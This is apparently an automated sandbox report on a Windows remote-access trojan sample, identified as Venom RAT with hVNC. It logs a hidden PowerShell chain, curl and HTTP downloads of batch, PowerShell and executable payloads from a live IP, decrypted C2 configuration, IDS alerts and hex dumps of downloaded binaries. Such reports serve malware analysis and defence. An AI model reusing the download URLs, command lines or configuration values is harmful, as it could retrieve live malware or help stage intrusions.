Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4016, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", ProcessId: 4340, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T06:12:10.576354+0100	2842478	1	Malware Command and Control Activity Detected	94.130.22.61	4449	192.168.2.6	49742	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: 4449
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: 94.130.22.61
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: RAT + hVNC 6.0.5
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: false
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: qorykprjfvdyllcofpt
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: MIICLjCCAZegAwIBAgIVAIvioiAg1c1FOm/rKAIe2b5Q1/eBMA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMjAxNjM4MTFaFw0zNDEyMjgxNjM4MTFaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDIHPUmH5BwLX+omkWqhkwVe1CyqH0RZ8xEJI8WrTJCZV7Ey62MfHKW4JP565ZkbDcabeaiq0a/761cKKhTU5e8hFN2Nm7lEOA0J5R6vnKYgMbbPGZ5y5FiPnl9N5c7bSc2Yhtw7vwLOPkf+9R7ZC0vfYUkJeK1m3U7WKLEhXqKrwIDAQABozIwMDAdBgNVHQ4EFgQU7Plcp5CYAHAROFxivpKC+f0ImwIwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQC/dQ95DGSZgcf5vi8Rj0qrw2XTMO6G+qPSxbi6eBSnsg2Nt+gd2yJxj7JeuNwWd0B7xL9s9xf1441iu7DepDKCGz4CXPiwmgc1rbV3i5+1T9ZGcc0SuJy6u4lv3xuKWo4Zo/NRH49iwkwvBX8BkusG+52T7bOhhV/gpPXsh/Xyiw==
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: px+7e5VWuq6/O7qudAQ5o06M55eiJae9J4gKWHSumP3QWjFwNhdbPvFqE5mB05JZjK+FWRsyjNmnEZBmVxXwT/NGBAvIYRlNjecKISOAfZ3cMCortAd2Ijqn+83P+FKSgiV9US1ND30Ux6UdBgLEZv4g/6kDjs/LsARozFc5tHQ=
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: null
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: false
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: false
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: Default
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: false
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack	String decryptor: false

Source:	Binary string: Automation.pdb source: powershell.exe, 00000005.00000002.2351616241.0000029DF4150000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.pdb source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.pdbhP source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\SYSTEM32\rasman.dll.pdb source: powershell.exe, 00000005.00000002.2349927128.0000029DF3D9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AL_MACHINE\SOFTWARE\Microsoft\.NETFramework.pdb source: powershell.exe, 00000005.00000002.2349927128.0000029DF3D9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb? source: powershell.exe, 00000005.00000002.2349927128.0000029DF3DFE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Managem..Automation.pdb source: powershell.exe, 00000005.00000002.2351616241.0000029DF4150000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\System32\curl.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 94.130.22.61:4449 -> 192.168.2.6:49742

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49742 -> 94.130.22.61:4449

Source: global traffic

TCP traffic: 192.168.2.6:52490 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Jan 2025 05:12:02 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 06 Jan 2025 15:14:03 GMTETag: "8a00-62b0b14360f58"Accept-Ranges: bytesContent-Length: 35328Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 71 e2 4e b4 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 86 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 18 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 b8 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 48 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 25 07 09 02 09 91 06 08 91 61 09 20 00 01 00 00 5d 61 d2 9c 08 07 09 91 06 8e 69 5d 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 d5 07 2a 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Jan 2025 05:12:04 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 06 Jan 2025 15:11:38 GMTETag: "2fdc00-62b0b0b870bd8"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1

Source: global traffic	HTTP traffic detected: GET /infopage/grwsx.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/utres.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: Joe Sandbox View

IP Address: 147.45.44.131 147.45.44.131

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: global traffic

HTTP traffic detected: GET /infopage/wertxcp.bat HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /infopage/wertxcp.bat HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/sfxqr.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/grwsx.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/utres.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: global traffic

DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: powershell.exe, 00000000.00000002.2146890283.0000027EAB702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDD7B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44
Source: powershell.exe, 00000000.00000002.2146890283.0000027EAB975000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDDA12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDBFA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/grwsx.exe
Source: RegAsm.exe, 00000009.00000002.4597271061.0000000005630000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4578560689.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4579397342.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4602307651.0000000006480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1
Source: powershell.exe, 00000005.00000002.2253725513.0000029DD9D42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1.
Source: cvtres.exe, 00000008.00000002.2191070716.00000226E6ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1A
Source: csc.exe, 00000007.00000002.2193370475.000001EEBBE68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1S
Source: powershell.exe, 00000005.00000002.2348971545.0000029DF3D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERD
Source: RegAsm.exe, 00000009.00000002.4602307651.0000000006480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUS
Source: csc.exe, 00000007.00000003.2191411279.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000002.2193640224.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191275065.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1userdo
Source: cvtres.exe, 00000008.00000002.2190952003.00000226E6E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/sfxqr.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCus
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2351543460.0000029DF4120000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000007.00000003.2191430981.000001EEBBEE2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2192728985.000001EEBD7AB000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191275065.000001EEBBEF3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191515346.000001EEBBEF3000.00000004.00000020.00020000.00000000.sdmp, nfy3200k.dll.7.dr, nfy3200k.0.cs.5.dr	String found in binary or memory: http://147.45.44.131/infopage/utres.exe
Source: powershell.exe, 00000000.00000002.2146890283.0000027EAB702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2146890283.0000027EAB975000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2180957409.0000027EC2276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/wertxcp.bat
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDDA9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.H
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.Hr
Source: RegAsm.exe, 00000009.00000002.4597271061.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 00000009.00000002.4580697643.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en_
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000000.00000002.2177874216.0000027EBA27F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2177874216.0000027EBA13C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.2146890283.0000027EAA0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBB51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.0000000003031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2351616241.0000029DF4177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000005.00000002.2351616241.0000029DF4177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.pkio
